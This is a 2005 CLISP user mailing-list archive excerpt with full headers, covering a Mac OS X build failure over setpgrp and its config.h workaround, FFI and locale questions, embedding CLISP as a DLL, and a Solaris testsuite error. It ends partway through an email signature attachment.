for sys/utsname.h and struct utsname... (cached) yes checking for sys/types.h... (cached) yes checking for sys/stat.h... (cached) yes checking for stdlib.h... (cached) yes checking for string.h... (cached) yes checking for memory.h... (cached) yes checking for strings.h... (cached) yes checking for inttypes.h... (cached) yes checking for stdint.h... (cached) yes checking for unistd.h... (cached) yes checking errno.h usability... yes checking errno.h presence... yes checking for errno.h... yes checking fcntl.h usability... yes checking fcntl.h presence... yes checking for fcntl.h... yes checking for netdb.h... (cached) yes checking for sys/resource.h... (cached) yes checking utime.h usability... yes checking utime.h presence... yes checking for utime.h... yes checking wchar.h usability... yes checking wchar.h presence... yes checking for wchar.h... yes checking pwd.h usability... yes checking pwd.h presence... yes checking for pwd.h... yes checking for sys/stat.h... (cached) yes checking sys/time.h usability... yes checking sys/time.h presence... yes checking for sys/time.h... yes checking sys/unistd.h usability... yes checking sys/unistd.h presence... yes checking for sys/unistd.h... yes checking time.h usability... yes checking time.h presence... yes checking for time.h... yes checking for unistd.h... (cached) yes checking syslog.h usability... yes checking syslog.h presence... yes checking for syslog.h... yes checking signal.h usability... yes checking signal.h presence... yes checking for signal.h... yes checking for sys/statvfs.h... (cached) no checking for sys/statfs.h... (cached) no checking sys/vfs.h usability... no checking sys/vfs.h presence... no checking for sys/vfs.h... no checking for sys/types.h... (cached) yes checking crypt.h usability... no checking crypt.h presence... no checking for crypt.h... no checking utmpx.h usability... no checking utmpx.h presence... no checking for utmpx.h... no checking shlobj.h usability... no checking shlobj.h presence... no checking for shlobj.h... no checking for struct timeval... yes checking size of struct timeval... 8 checking for struct utmpx.ut_host... no checking whether f_fsid is scalar... no checking for struct stat.st_rdev... yes checking for struct stat.st_blksize... yes checking for struct stat.st_blocks... yes configure: * System Calls (Functions) checking for getrlimit... (cached) yes checking for setrlimit... (cached) yes checking for rlim_t... (cached) no checking size of rlim_t... (cached) 0 checking for getrlimit declaration... (cached) extern int getrlimit (int, struct rlimit *); checking for setrlimit declaration... (cached) extern int setrlimit (int, const struct rlimit *); checking for clock... yes checking for confstr... yes checking for fcntl... yes checking for gethostent... (cached) yes checking for sysconf... yes checking for uname... yes checking for getlogin... yes checking for getpwent... yes checking for getpwnam... (cached) yes checking for getpwuid... yes checking for getuid... yes checking for openlog... yes checking for setlogmask... yes checking for syslog... yes checking for closelog... yes checking for getpgid... yes checking for setpgrp... yes checking for getsid... yes checking for setsid... (cached) yes checking for kill... yes checking for endutxent... no checking for getutxent... no checking for getutxid... no checking for getutxline... no checking for pututxline... no checking for setutxent... no checking for fchmod... yes checking for fchown... yes checking for fstat... yes checking for link... yes checking for stat... yes checking for symlink... yes checking for utime... yes checking for mknod... yes checking for chmod... yes checking for umask... yes checking for uid_t in sys/types.h... yes checking for unistd.h... (cached) yes checking for working chown... yes checking for library containing erf... none required checking for erf... yes checking for erfc... yes checking for lgamma... yes checking for fstatvfs... no checking for statvfs... no checking for getpriority... yes checking for setpriority... yes checking whether lgamma_r is declared... no checking whether signgam is declared... yes checking for library containing crypt... none required checking for crypt... yes checking for encrypt... yes checking for setkey... yes checking for GlobalMemoryStatusEx... no checking for lstat... (cached) yes checking for sys/resource.h... (cached) yes checking for sys/times.h... (cached) yes checking for getrusage... (cached) yes checking for getrusage declaration... (cached) extern int getrusage (int, struct rusage *); checking whether getrusage works... (cached) yes configure: * System Calls (output) updating cache ../config.cache configure: creating ./config.status config.status: creating Makefile config.status: creating link.sh config.status: creating config.h configure: * System Calls (done) CLISP="`pwd`/lisp.run -M `pwd`/lispinit.mem -B `pwd` -Efile UTF-8 -Eterminal UTF-8 -norc" ; cd syscalls ; dots=`echo syscalls/ | sed -e 's,[^/][^/]*//*,../,g' -e 's,/$,,g'` ; make clisp-module CC="gcc" CPPFLAGS="" CFLAGS="-W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -O2 -DUNIX_BINARY_DISTRIB -DUNICODE -DNO_GETTEXT -DNO_SIGSEGV -I." INCLUDES="$dots" LISPBIBL_INCLUDES=" ${dots}/lispbibl.c ${dots}/fsubr.c ${dots}/subr.c ${dots}/pseudofun.c ${dots}/constsym.c ${dots}/constobj.c ${dots}/unix.c ${dots}/xthread.c ${dots}/libcharset.h" CLFLAGS="-x none" LIBS="libcharset.a -lncurses -liconv " RANLIB="ranlib" CLISP="$CLISP -q" /Users/lars/clisp/src/lisp.run -M /Users/lars/clisp/src/lispinit.mem -B /Users/lars/clisp/src -Efile UTF-8 -Eterminal UTF-8 -norc -q ../modprep.fas calls.c ;; MODPREP: "calls.c" --> #P"calls.m.c" ;; MODPREP: reading "calls.c": 110,531 bytes, 2,909 lines ;; MODPREP: 408 objects, 55 DEFUNs ;; packages: ("OS" "POSIX") MODPREP: wrote calls.m.c (345,533 bytes) gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -O2 -DUNIX_BINARY_DISTRIB -DUNICODE -DNO_GETTEXT -DNO_SIGSEGV -I. -I.. -c calls.m.c -o calls.o calls.c: In function `check_syslog_facility_reverse': calls.c:4781: warning: control reaches end of non-void function calls.c: In function `check_signal_reverse': calls.c:4948: warning: control reaches end of non-void function calls.c: In function `check_priority_which_reverse': calls.c:5076: warning: control reaches end of non-void function calls.c: In function `sysconf_arg_reverse': calls.c:5483: warning: control reaches end of non-void function calls.c: In function `confstr_arg_reverse': calls.c:5603: warning: control reaches end of non-void function calls.c: In function `getrlimit_arg_reverse': calls.c:5666: warning: control reaches end of non-void function calls.c: In function `check_chmod_mode': calls.c:5723: warning: comparison of unsigned expression < 0 is always false calls.c: In function `check_chmod_mode_reverse': calls.c:5736: warning: comparison of unsigned expression < 0 is always false calls.c: In function `check_chmod_mode_to_list': calls.c:5744: warning: comparison of unsigned expression < 0 is always false calls.c: In function `mknod_type_check_reverse': calls.c:5809: warning: control reaches end of non-void function calls.c: In function `C_subr_posix_setpgrp': calls.c:353: error: too few arguments to function `setpgrp' make[1]: *** [calls.o] Error 1 make: *** [syscalls] Error 2 -- Lars Rosengreen http://www.margay.org/~lars From sds@gnu.org Tue Apr 05 15:03:32 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DIw8y-0000C7-6w for clisp-list@lists.sourceforge.net; Tue, 05 Apr 2005 15:03:32 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DIw8x-00071G-F7 for clisp-list@lists.sourceforge.net; Tue, 05 Apr 2005 15:03:32 -0700 Received: from WINSTEINGOLDLAP ([10.41.52.214]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j35M1U65029456; Tue, 5 Apr 2005 18:01:30 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Lars Rosengreen Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <3e4da9c38d018413fcfdc613b71741e1@margay.org> (Lars Rosengreen's message of "Tue, 5 Apr 2005 14:51:12 -0700") References: <3e4da9c38d018413fcfdc613b71741e1@margay.org> Mail-Followup-To: clisp-list@lists.sourceforge.net, Lars Rosengreen Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: clisp cvs build fails for me on mac osx 10.3.8 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Apr 5 15:03:47 2005 X-Original-Date: Tue, 05 Apr 2005 18:02:56 -0400 > * Lars Rosengreen [2005-04-05 14:51:12 -0700]: > > calls.c: In function `C_subr_posix_setpgrp': > calls.c:353: error: too few arguments to function `setpgrp' : pid_t setpgrp(void); how is setpgrp() defined on your platform? please file a bug report about POSIX compliance with your vendor. In the meantime, I suggest that you edit build/syscalls/config.h and replace "#define HAVE_SETPGRP 1" with "#undef HAVE_SETPGRP". -- Sam Steingold (http://www.podval.org/~sds) running w2k nobody's life, liberty or property are safe while the legislature is in session From lars@margay.org Tue Apr 05 19:20:31 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DJ09a-0007PJ-5M for clisp-list@lists.sourceforge.net; Tue, 05 Apr 2005 19:20:26 -0700 Received: from margay.org ([70.85.31.25]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1DJ09W-00073e-Fp for clisp-list@lists.sourceforge.net; Tue, 05 Apr 2005 19:20:26 -0700 Received: from [10.0.2.2] (ACC0DB54.ipt.aol.com [::ffff:172.192.219.84]) (AUTH: LOGIN lars, SSL: TLSv1/SSLv3,128bits,RC4-SHA) by margay.org with esmtp; Tue, 05 Apr 2005 18:20:13 -0700 id 000413B4.4253394D.0000200F Mime-Version: 1.0 (Apple Message framework v619.2) In-Reply-To: References: <3e4da9c38d018413fcfdc613b71741e1@margay.org> Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: Content-Transfer-Encoding: 7bit From: Lars Rosengreen To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.619.2) X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: clisp cvs build fails for me on mac osx 10.3.8 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Apr 5 19:20:56 2005 X-Original-Date: Tue, 5 Apr 2005 19:20:08 -0700 On Apr 5, 2005, at 3:02 PM, Sam Steingold wrote: >> * Lars Rosengreen [2005-04-05 14:51:12 -0700]: >> >> calls.c: In function `C_subr_posix_setpgrp': >> calls.c:353: error: too few arguments to function `setpgrp' > > : > pid_t setpgrp(void); > > how is setpgrp() defined on your platform? man setpgrp returns: SETPGID(2) BSD System Calls Manual SETPGID(2) NAME setpgid, setpgrp - set process group SYNOPSIS #include int setpgid(pid_t pid, pid_t pgrp); int setpgrp(pid_t pid, pid_t pgrp); DESCRIPTION Setpgid() sets the process group of the specified process pid to the specified pgrp. If pid is zero, then the call applies to the current process. If the invoker is not the super-user, then the affected process must have the same effective user-id as the invoker or be a descendant of the invoking process. RETURN VALUES Setpgid() returns 0 when the operation was successful. If the request failed, -1 is returned and the global variable errno indicates the rea- son. ERRORS Setpgid() will fail and the process group will not be altered if: [EACCES] The value of the pid argument matches the process ID of a child process of the calling process, and the child process has successfully executed one of the exec functions. [EPERM] The effective user ID of the requested process is dif- ferent from that of the caller and the process is not a descendant of the calling process. [ESRCH] The value of the pid argument does not match the pro- cess ID of the calling process or of a child process of the calling process. SEE ALSO getpgrp(2) STANDARDS The setpgid() function conforms to IEEE Std 1003.1-1988 (``POSIX.1''). COMPATIBILITY Setpgrp() is identical to setpgid(), and is retained for calling conven- tion compatibility with historical versions of BSD. 4th Berkeley Distribution June 4, 1993 4th Berkeley Distribution > please file a bug report about POSIX compliance with your vendor. I will do that, but I'm not holding my breath. A search with google suggests it has been this way since at least 2001. > In the meantime, I suggest that you edit build/syscalls/config.h > and replace "#define HAVE_SETPGRP 1" with "#undef HAVE_SETPGRP". This works as a temporary solution. Thank you very much for your help. -Lars > -- > Sam Steingold (http://www.podval.org/~sds) running w2k > > > nobody's life, liberty or property are safe while the legislature is > in session > -- Lars Rosengreen http://www.margay.org/~lars From kavenchuk@jenty.by Tue Apr 05 23:23:44 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DJ3x2-00027g-Bb for clisp-list@lists.sourceforge.net; Tue, 05 Apr 2005 23:23:44 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DJ3x1-0000Et-FF for clisp-list@lists.sourceforge.net; Tue, 05 Apr 2005 23:23:44 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 22VVCMA1; Wed, 6 Apr 2005 09:26:43 +0300 Message-ID: <42538098.7030906@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_BACKSLASH BODY: Text interparsed with \ 0.2 UPPERCASE_25_50 message body is 25-50% uppercase -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: newbie ffi question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Apr 5 23:24:05 2005 X-Original-Date: Wed, 06 Apr 2005 09:24:24 +0300 Sam Steingold: >>[3]> (with-c-var (pointer 'c-pointer intr) >> (cast pointer '(c-ptr Tcl-Interp))) >>#S(TCL-FFI:Tcl-Interp :RESULT "" :|FREEpROC| NIL :|ERRORlINE| 0) > > > (with-c-var (pointer '(c-ptr Tcl-Interp) intr) > pointer) clisp from CVS head, mingw [1]> (load "G:\\Work\\Lisp\\cltk\\tcl-ffi") ;; Loading file G:\Work\Lisp\cltk\tcl-ffi.lisp ... ;; Loaded file G:\Work\Lisp\cltk\tcl-ffi.lisp T [2]> (setq intr (tcl-ffi:Tcl-CreateInterp)) # [3]> (ffi:with-c-var (pointer '(ffi:c-ptr tcl-ffi:Tcl-Interp) intr) pointer) *** - # cannot be converted to the foreign type #(FFI:C-STRUCT TCL-FFI:Tcl-Interp NIL #(TCL-FFI::result TCL-FFI::freeProc TCL-FFI::errorLine) # FFI:C-STRING #(FFI:C-PTR #(FFI:C-FUNCTION NIL #(FFI:C-STRING 1) 1024)) FFI:INT) The following restarts are available: ABORT :R1 ABORT Break 1 [4]> [5]> (ffi:with-c-var (pointer 'ffi:c-pointer intr) (ffi:cast pointer '(ffi:c-ptr tcl-ffi:Tcl-Interp) )) #S(TCL-FFI:Tcl-Interp :RESULT "" :|FREEpROC| NIL :|ERRORlINE| 0) > > >>How to write? > > > (with-c-var (pointer '(c-ptr Tcl-Interp) intr) > (setf (slot (foreign-value pointer) 'result) "foo")) [8]> (ffi:with-c-var (pointer '(ffi:c-ptr tcl-ffi:Tcl-Interp) intr) (setf (ffi:slot (ffi:foreign-value pointer) 'result) "foo")) *** - # cannot be converted to the foreign type #(FFI:C-STRUCT TCL-FFI:Tcl-Interp NIL #(TCL-FFI::result TCL-FFI::freeProc TCL-FFI::errorLine) # FFI:C-STRING #(FFI:C-PTR #(FFI:C-FUNCTION NIL #(FFI:C-STRING 1) 1024)) FFI:INT) The following restarts are available: ABORT :R1 ABORT Break 1 [9]> Thanks. -- WBR, Yaroslav Kavenchuk. From goffioul@imec.be Wed Apr 06 00:58:28 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DJ5Qh-0006P8-QU for clisp-list@lists.sourceforge.net; Wed, 06 Apr 2005 00:58:27 -0700 Received: from mailgw2.imec.be ([146.103.254.18]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DJ5Qe-0000d0-Qq for clisp-list@lists.sourceforge.net; Wed, 06 Apr 2005 00:58:27 -0700 Received: from e2k01.imec.be (e2k01.imec.be [146.103.0.4]) by mailgw2.imec.be (8.12.11/8.12.11) with ESMTP id j367vkVs007024; Wed, 6 Apr 2005 09:57:51 +0200 Received: from e2k02.imec.be ([146.103.0.5]) by e2k01.imec.be with Microsoft SMTPSVC(5.0.2195.6713); Wed, 6 Apr 2005 09:57:46 +0200 X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Message-ID: <49056F0358EA754AB8420F7210B4CC07015E79AA@e2k02.imec.be> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: clisp embedded? Thread-Index: AcU6KbZtE9UGw0xeRu2Ww4iHmmCcwAAU36jg From: "Goffioul Michael" To: , X-OriginalArrivalTime: 06 Apr 2005 07:57:46.0456 (UTC) FILETIME=[51EACD80:01C53A7E] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] RE: clisp embedded? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Apr 6 00:58:34 2005 X-Original-Date: Wed, 6 Apr 2005 09:57:41 +0200 Hi, In my last trials (some months ago), I got CLISP compiled into a DLL that I could use to build a MATLAB/MEX file. However,=20 I got memory/gc-related crashes: the MEX file segfaulted on first GC. I sent mails about it on clisp-devel but AFAIK I never got any answer. Then I gave up and switched to ECL. Bye. Michael. > clisp/src/TODO: > Embeddability: additional API in spvw.d; example. > 264&group_id=3D1355&atid=3D351355> > > > >=20 > many of the things in the latest patch from Michael are already > in CLISP. > the missing pieces are: >=20 > 1. makemake.in: creation of libclisp.so (clisp.dll) > I am not touching this. > For all I care we could just apply Michael's patch as is,=20 > except that > ISTR that there are some portability pitfalls, so I would=20 > prefer that > Bruno handles this. >=20 > 2. clisp_init() & clisp_fini() in spvw.d (and genclisph.d). > I could do that except that it is pointless without [1] above. > (Michael's patch will not apply cleanly at this point). >=20 >=20 >=20 > --=20 > Sam Steingold (http://www.podval.org/~sds) running w2k > > =20 What was the best thing before sliced bread? From kavenchuk@jenty.by Wed Apr 06 02:48:35 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DJ79G-0003An-Kd for clisp-list@lists.sourceforge.net; Wed, 06 Apr 2005 02:48:34 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DJ79E-00030q-Mc for clisp-list@lists.sourceforge.net; Wed, 06 Apr 2005 02:48:34 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 22VVCM3N; Wed, 6 Apr 2005 12:51:20 +0300 Message-ID: <4253B08B.4010006@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] error with symbols in UTF-8 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Apr 6 02:49:04 2005 X-Original-Date: Wed, 06 Apr 2005 12:48:59 +0300 clisp from CVS head with libintl, mingw > (set-locale) (:ALL "LC_COLLATE=Russian_Russia.1251;LC_CTYPE=Russian_Russia.1251;LC_MONETARY=Russian_Russia.1251;LC_NUM ERIC=C;LC_TIME=Russian_Russia.1251" :COLLATE "Russian_Russia.1251" :CTYPE "Russian_Russia.1251" :MESSAGES NIL :MONETARY "Russian_Russia.1251" :NUMERIC "C" :TIME "Russian_Russia.1251") > *FOREIGN-ENCODING* # > *TERMINAL-ENCODING* # > system::*all-languages* *** - Character #\u00C7 cannot be represented in the character set CHARSET:CP866 The following restarts are available: ABORT :R1 ABORT Break 1 [81]> : (CDR system::*all-languages*) generate same error. (nth 5 system::*all-languages*) and (last system::*all-languages*) not generate error and return "RUSSIAN" in russian This is norm? Thanks. -- WBR, Yaroslav Kavenchuk. From mark.l.williams@navy.mil Wed Apr 06 05:00:01 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DJ9CS-00018f-AJ for clisp-list@lists.sourceforge.net; Wed, 06 Apr 2005 05:00:00 -0700 Received: from gate13-norfolk.nmci.navy.mil ([138.162.5.10]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DJ9CQ-0000L6-Pr for clisp-list@lists.sourceforge.net; Wed, 06 Apr 2005 05:00:00 -0700 Received: from naeanrfkms03.nmci.navy.mil by gate13-norfolk.nmci.navy.mil via smtpd (for lists.sourceforge.net [66.35.250.206]) with ESMTP; Wed, 6 Apr 2005 11:59:57 +0000 Received: (private information removed) Received: from no.name.available by naeanrfkfw10c.nmci.navy.mil via smtpd (for insidesmtp2.nmci.navy.mil [10.16.0.170]) with ESMTP; Wed, 6 Apr 2005 11:59:51 +0000 Received: (private information removed) Received: (private information removed) Received: (private information removed) Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; boundary="----=_NextPart_000_0019_01C53A76.2E1531A0"; micalg=SHA1 Message-ID: <2790804CBFD3C749BE6D40CE54CDA5A1011FF9A3@naeanrfkez06.nadsusea.nads.navy.mil> X-MimeOLE: Produced By Microsoft Exchange V6.0.6603.0 X-MS-Has-Attach: yes X-MS-TNEF-Correlator: Thread-Topic: TESTSUITE FAILURE IN LOOP.TST, SOLARIS 9 Thread-Index: AcU6oBZ3HIdf1qguSiW/1SyGQHzwqw== From: "Williams, Mark L CIV NSWC-PC" To: X-OriginalArrivalTime: 06 Apr 2005 11:59:33.0675 (UTC) FILETIME=[18E4BFB0:01C53AA0] X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.4 SUBJ_ALL_CAPS Subject is all capitals 0.0 HTML_60_70 BODY: Message is 60% to 70% HTML 0.0 HTML_MESSAGE BODY: HTML included in message 0.2 UPPERCASE_25_50 message body is 25-50% uppercase -0.3 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] TESTSUITE FAILURE IN LOOP.TST, SOLARIS 9 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Apr 6 05:00:26 2005 X-Original-Date: Wed, 6 Apr 2005 07:59:32 -0400 This is a multi-part message in MIME format. ------=_NextPart_000_0019_01C53A76.2E1531A0 Content-Type: multipart/alternative; boundary="----=_NextPart_001_001A_01C53A76.2E1531A0" ------=_NextPart_001_001A_01C53A76.2E1531A0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit On Solaris 9 SPARC system... I've gone through the documented build process without obvious problems, run "make test" successfully. "make testsuite" fails at the loop.tst when attempting to (setq everest...) with the following: (LET (EVEREST CHOCORUA SAHARA) (DEFSTRUCT MOUNTAIN HEIGHT DIFFICULTY (WHY "because it is there")) (SETQ EVEREST (MAKE-MOUNTAIN :HEIGHT '( *** - ASH: too large shift amount 59482078 and exit messages. I'm new with Common Lisp so my analytic skills are rudimentary at best. Help resolving this problem would be greatly appreciated. I'm running gcc 3.4.1 at present. Mark L. Williams ------=_NextPart_001_001A_01C53A76.2E1531A0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
On = Solaris 9 SPARC=20 system... I've gone through the documented build process without obvious = problems, run "make test" successfully. "make testsuite" fails at the = loop.tst=20 when attempting to (setq everest...) with the = following:
 
(LET = (EVEREST=20 CHOCORUA SAHARA) (DEFSTRUCT MOUNTAIN HEIGHT DIFFICULTY (WHY "because it = is=20 there")) (SETQ EVEREST (MAKE-MOUNTAIN :HEIGHT '(
*** - = ASH: too large=20 shift amount 59482078
 
and = exit messages.=20 I'm new with Common Lisp so my analytic skills are rudimentary at best. = Help=20 resolving this problem would be greatly appreciated. I'm running gcc = 3.4.1 at=20 present.
 
Mark = L.=20 Williams
 
------=_NextPart_001_001A_01C53A76.2E1531A0-- ------=_NextPart_000_0019_01C53A76.2E1531A0 Content-Type: application/x-pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIM2DCCBBsw ggOEoAMCAQICASAwDQYJKoZIhvcNAQEFBQAwYTELMAkGA1UEBhMCVVMxGDAWBgNVBAoTD1UuUy4g R292ZXJubWVudDEMMAoGA1UECxMDRG9EMQwwCgYDVQQLEwNQS0kxHDAaBgNVBAMTE0RvRCBDTEFT UyAzIFJvb3QgQ0EwHhcNMDMwMzIwMTUwMjUzWhcNMDkwMzE4MTUwMjUzWjBkMQswCQYDVQQGEwJV UzEYMBYGA1UEChMPVS5TLiBHb3Zlcm5tZW50MQwwCgYDVQQLEwNEb0QxDDAKBgNVBAsTA1BLSTEf MB0GA1UEAxMWRE9EIENMQVNTIDMgRU1BSUwgQ0EtNTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkC gYEArs9GG8FYEVBIzCTd6BD/+FyPTb+aH+cfdYTshM1SJNhuxjIKFr8Sekv422eYigX/ly71oSs9 b17jFhxCYWNgQBZg9ptTjdJy6MmCuBR5D9I8zlklGgfBJQaSvss7HBVgTmlubfaCtgh3Whi8Ysez gSnhdVLbBxpAO/J0qR5l2sMCAwEAAaOCAd4wggHaMB0GA1UdDgQWBBT8EPq5amEuT7PXdMYoHmng L85U6DAOBgNVHQ8BAf8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAMBgNVHSQEBTADgAEAMB8GA1Ud IwQYMBaAFGycpfBcj21BjcQXO5BXwg+jzW3+MDAGA1UdIAQpMCcwCwYJYIZIAWUCAQsFMAsGCWCG SAFlAgELCTALBglghkgBZQIBCwowgYMGA1UdEgR8MHqGeGxkYXA6Ly9kcy0zLmMzcGtpLmNoYW1i LmRpc2EubWlsL2NuJTNkRG9EJTIwQ0xBU1MlMjAzJTIwUm9vdCUyMENBJTJjb3UlM2RQS0klMmNv dSUzZERvRCUyY28lM2RVLlMuJTIwR292ZXJubWVudCUyY2MlM2RVUzCBsAYDVR0fBIGoMIGlMIGi oIGfoIGchoGZbGRhcDovL2RzLTMuYzNwa2kuY2hhbWIuZGlzYS5taWwvY24lM2REb0QlMjBDTEFT 